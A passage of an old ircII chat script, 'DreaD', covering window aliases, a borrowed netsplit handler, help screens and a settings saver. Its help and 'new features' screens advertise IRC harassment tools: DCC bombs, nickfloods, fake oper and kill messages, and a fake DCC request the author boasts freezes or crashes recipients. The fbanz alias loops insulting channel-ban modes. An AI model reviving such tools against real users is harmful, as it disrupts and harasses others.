  517. alias fbanz {@ nnn = [$"name for ban DONT!FUCK@WITH.<NAME> : "];@ nme = [$toupper($nnn)];@ btp = [$"send -b or a +b (-b/+b) : "];@ nmb = [$"send $btp DONT!FUCK@WITH.$nme how many times : "];@ chn = [$"send to which channel : "];@ cnt = 0;while (cnt < nmb) {//mode $chn $btp D0NT!FUCK@WITH.$nme\;@ nme = [$nme];@ cnt = cnt + 1};^assign -cnt;^assign -nme;^assign -chn;^assign -nmb}
  518. alias w.help {d.echo $d.logo window commands;d.echo ^Wx $pipe switches to next window;d.echo ^Wk $pipe kills current window;d.echo ^Wh $pipe hides current window;d.echo ^Ws $pipe shows all windows;d.echo ^Wn $pipe creates a new window - prompt driven}
  519. alias w.new {d.echo type: ^W? for help on windowing commands;@ w.server = [$"enter server to create a new window|: "] ;@ w.port = [$"enter port for new window|: "];@ w.nick = [$"enter nick for new window|: "];if (!w.nick) {d.echo you must enter something for all fields}{window new;window server $w.server:$w.port::$w.nick}}
  520. alias w.kill {^window kill}
  521. alias w.hide {^window hide}
  522. alias w.show {^window show 2;window show 1;window balance}
  523. alias optimem {d.echo clearing buffers;lm clear;ln clear}
  524. alias info {
  525. d.echo $d.logo info screen
  526. d.echo I have been working on dread when time was permitting for almost
  527. d.echo a year, since I started ircii scripting.  Many of the ideas in this
  528. d.echo script are mine, except the netsplit detection by daemon, and the
  529. d.echo tabkey function from the original ircii package.  If you use my
  530. d.echo code, please give me credit.  People have been asking me if i took
  531. d.echo any commands out of the DreaD public version.  The commands in the
  532. d.echo public are the same as in the old private version.
  533. d.echo Greets:
  534. d.echo There are so many people to thank, I cant list them all here, you
  535. d.echo know who you are.
  536. d.echo Help/Support :
  537. d.echo email address: dread@microserve.com
  538. d.echo irc channel  : #DreaD  
  539. d.echo irc nick     : r3ptile
  540. }
  541. # netsplit handler.  code borrowed from daemon
  542. ^alias currtime @ function_return = word(3 $stime($time()))
  543. ^alias isbogus {
  544. ^if ([$3]) { @ function_return = 1 }
  545. ^if (rmatch(.$1. $isbogus.pats *..*)) { @ function_return = 1 }
  546. ^if (rmatch(.$2. $isbogus.pats *..*)) { @ function_return = 1 }
  547. }
  548. ^alias boguspat ^assign isbogus.pats $isbogus.pats $0-;d.echo bogus $0- added
  549. ^alias boguslist d.echo bogus patterns: $isbogus.pats
  550. ^alias bogusclear ^assign -isbogus.pats;d.echo bogus list is clear
  551. ^on ^channel_signoff "% % %.% %.%" {
  552. if (isbogus($1-)) 
  553. {p.echo Signoff: $1 \($2-\) }
  554. {^netbroke $encode($tolower($0)) $encode($1) $encode($2).$encode($3) $2 $3 }
  555. }
  556. ^alias netbroke {
  557. @ signcross[$2][$0][$1] = 1
  558. @ signoffs[$0][$1] = [$2]
  559. @ splittime[$2] = time()
  560. ^if ( isbroke[$2] )
  561. {
  562. }
  563. {
  564. d.echo netsplit: $currtime() \($3-\)
  565. d.echo type /wholeft to view split
  566. @ isbroke[$2] = 1
  567. @ splitname[$2] = [$3-]
  568. }
  569. }
  570. ^on #^join 69 * {^netjoined $encode($tolower($1)) $encode($0) $1 $0 $userhost()}
  571. ^alias netjoined {
  572. if ( signoffs[$0][$1] )
  573. {
  574. ^if ( isbroke[$signoffs[$0][$1]] )
  575. {
  576. d.echo netjoined: $currtime() \($splitname[$signoffs[$0][$1]]\)
  577. }
  578. ^assign -isbroke[$signoffs[$0][$1]]
  579. ^assign -signcross[$signoffs[$0][$1]][$0][$1]
  580. ^assign -signoffs[$0][$1]
  581. }
  582. {}
  583. }
  584. ^on #^timer 70 * netclean
  585. ^alias netclean {
  586. foreach splittime ii
  587. {
  588. foreach splittime.$ii jj
  589. {
  590. if ( time() - splittime[$ii][$jj] > 300 )
  591. {
  592. foreach signcross.$(ii).$jj xx
  593. {
  594. foreach signcross.$(ii).$(jj).$xx yy
  595. {
  596. ^assign -signcross[$ii][$jj][$xx][$yy]
  597. ^assign -signoffs[$xx][$yy]
  598. }
  599. }
  600. ^assign -xx
  601. ^assign -yy
  602. ^assign -isbroke[$ii][$jj]
  603. ^assign -splitname[$ii][$jj]
  604. ^assign -splittime[$ii][$jj]
  605. }
  606. }
  607. }
  608. ^assign -ii
  609. ^assign -jj
  610. }
  611. ^alias netpurge {
  612. purge isbroke
  613. purge splitname
  614. purge splittime
  615. purge signcross
  616. purge signoffs
  617. }
  618. ^alias showsplit {
  619. if ( [$($0)] )
  620. {
  621. d.echo $0 $($0)
  622. }
  623. foreach $0 ii
  624. {
  625. showsplit $0.$ii
  626. }
  627. ^assign -ii
  628. }
  629.  
  630. ^alias purge {
  631. foreach $0 ii
  632. {
  633. purge $0.$ii
  634. }
  635. ^assign -ii
  636. ^assign -$0
  637. }
  638. ^alias wholeft {
  639. foreach signoffs ii
  640. {
  641. foreach signoffs.$ii jj
  642. {
  643. d.echo $lformat(15 $decode($ii)) $lformat(10 $decode($jj)) $splitname[$signoffs[$ii][$jj]]
  644. }
  645. }
  646. ^assign -ii
  647. ^assign -jj
  648. }
  649. alias lformat {
  650. @ IRCII.word = [$1-]
  651. if (@IRCII.word < [$0]) 
  652. { @ function_return = [$([$0]IRCII.word)] } 
  653. { @ function_return = [$IRCII.word] } 
  654. }
  655. # end of netsplit.irc by daemon
  656. alias addons {
  657. d.echo $d.logo addons
  658. d.echo to add your help command into the /cmd list, add this
  659. d.echo to your addon:
  660. d.echo ----------------------------------------
  661. d.echo alias h.yourhelpcmd {youroldhelpcmd}
  662. d.echo ^addcmd yourhelpcmd your help command description
  663. d.echo ----------------------------------------
  664. d.echo make sure your help command is under 7 characters. 
  665. }
  666. alias cmd if ([$0]) {^h.$0}{d.echo $d.logo help screens;d.echo /cmd op      $pipe help on op commands;d.echo /cmd misc    $pipe help on misc. commands;d.echo /cmd war     $pipe help on war commands;d.echo /dcc help    $pipe help on dcc commands;@ helpcount = 0;if ([$cmdtotal]!=[0]) {while (helpcount < cmdtotal) {d.echo /cmd $[7]newcmd[$cmdtotal] $pipe $newcmddesc[$cmdtotal];@ helpcount = helpcount + 1};^assign -helpcount};d.echo $b\hot commands are denoted by BOLD$b}
  667. alias addcmd {@ cmdtotal = cmdtotal + 1;@ newcmd[$cmdtotal] = [$0];@ newcmddesc[$cmdtotal] = [$1-]}
  668. alias h.op {
  669. e  $d.logo op command screen\)- -    -     -           
  670. h.e /op <nick>            +o up to 3 nicks           
  671. h.e /deop <nick>          -o up to 2 nicks             
  672. h.e /k <nick>             kick a nick                
  673. h.e /bk <nick>            ban kick a nick              
  674. h.e /ban <nick>           ban a nick's user@host
  675. h.e /nickban <nick>       ban a nick
  676. h.e /userban <nick>       ban a nicks username
  677. h.e /hostban <nick.       ban a nicks hostname
  678. h.e /mass d               mass -o current chan
  679. h.e /mass o               mass +o current chan
  680. h.e /mass k               mass kick current chan
  681. h.e /mass n               mass kick nonops on curr chan  
  682. h.e /mass v               mass voice the curr chan
  683. h.e /mass -v              mass unvoice the curr chan
  684. h.e $b\/pkick                toggles PhoEniX kicking$b      
  685. h.e $b\/mkick                toggles mIRC kicking$b
  686. h.e /filter -k <filter>   kicks all users matching filter
  687. h.e /filter -bk <filter>  bans then kicks all matching filter
  688. d.pause
  689. h.e /unban <nick>         unbans nick from current channel
  690. h.e /c <modes>            change channel modes  
  691. h.e /awp + <address>      add an address to your friends awp list
  692. h.e /awp - <num>          erase an address num from your friends awp list
  693. h.e /awp s                show your op list   
  694. h.e /abk + <adr>          add an address to your autobankick list
  695. h.e /abk - <num>          erase an address num from you autobankick list
  696. h.e /abk s                show autobankick list
  697. h.e $b\control-Kj            kick last person to join current channel$b
  698. h.e $b\control-Kn            kick last person to change their nick in cur chan$b
  699. h.e $b\control-Km            kick last person to msg you in current channel$b
  700. h.e $b\control-K?            easy kicks help
  701. h.e /wkick + <word>       add a word to your wordkick
  702. h.e /wkick -              erase youre wordkick list
  703. h.e /multi k <nicks>      kick as many nicks as you enter
  704. h.e /multi b <nicks>      ban as many nicks as you enter
  705. h.e /multi bk <nicks>     bankick as many nicks as you enter
  706. h.e /multi v <nicks>      version as many nicks as you enter
  707. h.e $b\/optimem              clears up memory, resulting in a faster operation$b
  708. h.e /voice <nicks>        +v as many nicks as you enter
  709. h.e /unvoice <nicks>      -v as many nicks as you enter
  710. e  $d.logo op command screen)- -    -     -           
  711. }
  712. alias h.misc {
  713. e  $d.logo misc command screen1\)- -    -     -           
  714. h.e /setaway <msg>       set yourself away & log msgs              
  715. h.e /setback             set yourself back
  716. h.e /play                play msgs without setting yourself back
  717. h.e /delete              delete msgs without setting yourself back
  718. h.e $b\/lm <where> <number> redir last msg number to nick/chan$b
  719. h.e $b\/lm <list>           show msg buffer$b
  720. h.e $b\/lm <clear>          clear msg buffer$b
  721. h.e $b\/ln <where> <number> redir last msg number to nick/chan$b
  722. h.e $b\/ln <list>           show msg buffer$b
  723. h.e $b\/ln <clear>          clear msg buffer$b        
  724. h.e $b\/ln <where>          redir last notice to nick/chan$b
  725. h.e $b\/lsm <where>         redir last sent msg to nick/chan$b
  726. h.e $b\/lsn <where>         redir last sent notice to nick/chan$b
  727. h.e /wall +o <msg>       wall to all channel ops    
  728. h.e /wall -o <msg>       wall to all non channel ops       
  729. h.e $b\/dcode <text>        encode text -only dread users can read$b
  730. h.e $b\/awake <+o>          turn awake on.  type /awake for more info$b
  731. h.e $b\/awake <-o>          turn awake off.  type /awake for more info$b
  732. h.e $b\/aig <+> <address>   auto ignore publics from address on join$b
  733. h.e $b\/aig <-> <number>    take number off of auto ignore list$b
  734. h.e $b\/aig <s>             show auto ignore list$b
  735. d.pause
  736. h.e /notify + <nick>     add nick to your notify list 
  737. h.e /notify - <num>      erase a nick number from your notify list 
  738. h.e /notify + <nick>     add nick to your notify list
  739. h.e /time                view time and date
  740. h.e $b/bf                  boobfone! sends fake oper msg-prompt driven$b
  741. h.e /fake <join> <chan>  fake join a channel
  742. h.e /fake <split>        quit with a fake netsplit
  743. h.e /fake <kill>         quit with a fake oper kill      
  744. h.e /fake <coll>         quit with a fake nick collide
  745. h.e /fake <conf>         msg fake conf info to nick/channel
  746. h.e /fake <ftp>          msg fake ftp site to nick/channel
  747. h.e $b/fake <mail>         send fake mail - prompt driven$b
  748. h.e $b\/fake <dcc>          type /fake dcc <nick> <file> <bytes>$b
  749. h.e $b\/fake <chat>         send a fake dcc chat req to <nick>$b
  750. h.e $b\/fake <rme>          send a fake dcc resume req to <nick>$b
  751. h.e the 3 previous commands will most likely crash the reciptant :\)
  752. h.e /lj                  cycle current channel
  753. h.e $b\/settings            edit script settings - prompt driven$b
  754. h.e /save                save all current script settings
  755. h.e /ig <nick>           ignores u@h with default ignore levels
  756. h.e /unig <nick>         unignore u@h with default ignore levels
  757. d.pause
  758. h.e /bw                  say something backwords
  759. h.e /wholeft             show current channel netsplits
  760. h.e /showver <nick/chan> show your current version to nick/channel
  761. h.e $b\/cloak <version> <on/off> turn version cloaking on or off$b
  762. h.e $b\/cloak <ping> <on/off>    turn ping cloaking on or off$b 
  763. h.e $b\/check               kind of like the /w display, but it lists servers$b
  764. h.e                         ^excellent for resynching
  765. h.e $b\/pager <on/off>      turn your pager on or off, activated with$b
  766. h.e                      $b\/ctcp $N page$b
  767. h.e ^D                   type to your prompt last nick to speak in cur chan
  768. h.e ^W?                  windowing commands help
  769. h.e ^Wn                  create a new window - prompt driven
  770. h.e ^Wx                  switch windows
  771. h.e ^Wk                  kill current window
  772. h.e ^Wh                  hide current window
  773. h.e ^Ws                  show all windows
  774. e  $d.logo misc command screen\)- -    -     -           
  775. }
  776. alias h.dcc {dcc help} 
  777. alias h.war {
  778. e  $d.logo war command screen\)- -    -     -           
  779. h.e /fbanz               prompt driven +b DONT!FUCK@WITH.<NAME>            
  780. h.e /fnot <where> <msg>  fake CTCP REPLY to <where>                 
  781. h.e /flashz              prompt driven- place flash/zmodem string anywhere
  782. h.e  dcc bombs are executed by /dccbomb <type> <nick>
  783. h.e   kill               logs them out
  784. h.e  nickfloods are executed by /nf <type> <number>
  785. h.e   ud                 UPPER/lower case nickflood
  786. h.e   bw                 sdrowkcab doolfkcin
  787. h.e   bn                 O1O1O1 binary nickflood  
  788. e  $d.logo war command screen\)- -    -     -           
  789. }
  790. alias new {
  791. d.echo $d.logo new features and commands since ver 2.0
  792. d.echo /cloak    $pipe you know the deal..
  793. d.echo /lm help  $pipe last msg buffer/redirection help
  794. d.echo /ln help  $pipe last notice buffer/redirection help
  795. d.echo /lsm      $pipe redirection of last sent msg
  796. d.echo /lsn      $pipe redirection of last sent notice
  797. d.echo /optimem  $pipe clears some buffers for faster performance
  798. d.echo /fake dcc <nick> <filename> <bytes> 
  799. d.echo ^^^^^^^^^^i really dont think this command is being used enough.
  800. d.echo           it will freeze any user that tries to get the dcc for
  801. d.echo           about 5 minutes, unless they ^C out of IRC, therefore
  802. d.echo           killing them.  and yes, this gets around atlantis's
  803. d.echo           dcc protection and other lame scripts like fluff penis.
  804. d.echo           now keep this in mind next time you ask for war shit.
  805. d.echo           there currently is no way to protect from this fake
  806. d.echo           dcc.  NOTE: if you rip my code, give me credit asshole.
  807. d.pause
  808. d.echo /pager    a pager function, requested by social distortion, when
  809. d.echo           someone types /ctcp $N page, you will get 3 beeps.
  810. d.echo /settings ability to change the dcc download directory
  811. d.echo /sc       the op, nonop, and total counts are accurate now
  812. d.echo when you get kicked, and the channel is +k, it keeps the key in mem
  813. d.echo so you rejoin with the key automatically
  814. d.echo new dcc protection, stops all those lame fake dcc attempts. you wont
  815. d.echo be able to stop a dread fake dcc attempt tho, coz it is impossible.
  816. d.echo $b\hot commands are denoted by BOLD$b
  817. d.echo many internal fixes and speed improvements.
  818. d.echo and yes, you may load this script 2, 3 or 4 times in a row, and it
  819. d.echo will not damage it like other scripts.
  820. }
  821. # ckeeper said that opening a cat process and redirecting into a file
  822. # wouldnt work on AIX.  well, it did.  so im doing it this way
  823. alias save {d.echo saving settings...;exec -name dele rm -rf .dread.save;wait %dele;exec -name qqq cat >> .dread.save;^msg %qqq # :DreaD: $d.ver settings/save file;^msg %qqq @ d.am = [$d.am];^msg %qqq @ d.serv = [$d.serv];^msg %qqq @ d.rejoin = [$d.rejoin];^msg %qqq @ d.idle.time = [$d.idle.time];^msg %qqq @ d.msg.beep = [$d.msg.beep];^msg %qqq @ d.nick = [$d.nick];@ d.multi.count = 1;while (d.ccc < d.awp.number + 1) {^msg %qqq @ d.awp.list[$d.ccc] = [$d.awp.list[$d.ccc]];@ d.ccc = d.ccc + 1};@ d.ccc = 1;while (d.ccc < d.abk.number + 1) {^msg %qqq @ d.abk.list[$d.ccc] = [$d.abk.list[$d.ccc]];@ d.ccc = d.ccc + 1};@ d.ccc = 1;while (d.ccc < d.ig.number + 1) {^msg %qqq @ d.ig.list[$d.ccc] = [$d.ig.list[$d.ccc]];@ d.ccc = d.ccc + 1};^msg %qqq @ d.p = [$d.real.ping];^assign -d.ccc;^msg %qqq @ d.awp.number = [$d.awp.number];^msg %qqq @ d.abk.number = [$d.abk.number];^msg %qqq @ d.ai.number = [$d.ig.number]
  824. ^msg %qqq @ d.nick.flood = [$d.nick.flood];^msg %qqq @ d.bm = [$d.bm];^msg %qqq @ d.nhp = [$d.nhp];^msg %qqq @ d.ver.spoofing = [$d.ver.spoofing];^msg %qqq @ d.ver.cloaking = [$d.ver.cloaking]
  825. ^msg %qqq @ dcc.dl.dir = [$dcc.dl.dir]
  826. ^msg %qqq @ d.echo.logo = [$d.echo.logo];^msg %qqq @ d.ignore.level = [$d.ignore.level];@ d.p.cloaking = [$d.p.cloaking];fix.notify save;d.echo everything saved...;^exec -close %qqq}
  827. //load .dread.save
  828. fix.who
  829. fix.whois
  830. fix.msg
  831. fix.notice
  832. fix.notify do
  833. fix.bans
  834. eval set input_prompt %> 
  835. # mail all bug reports to dread@microserve.com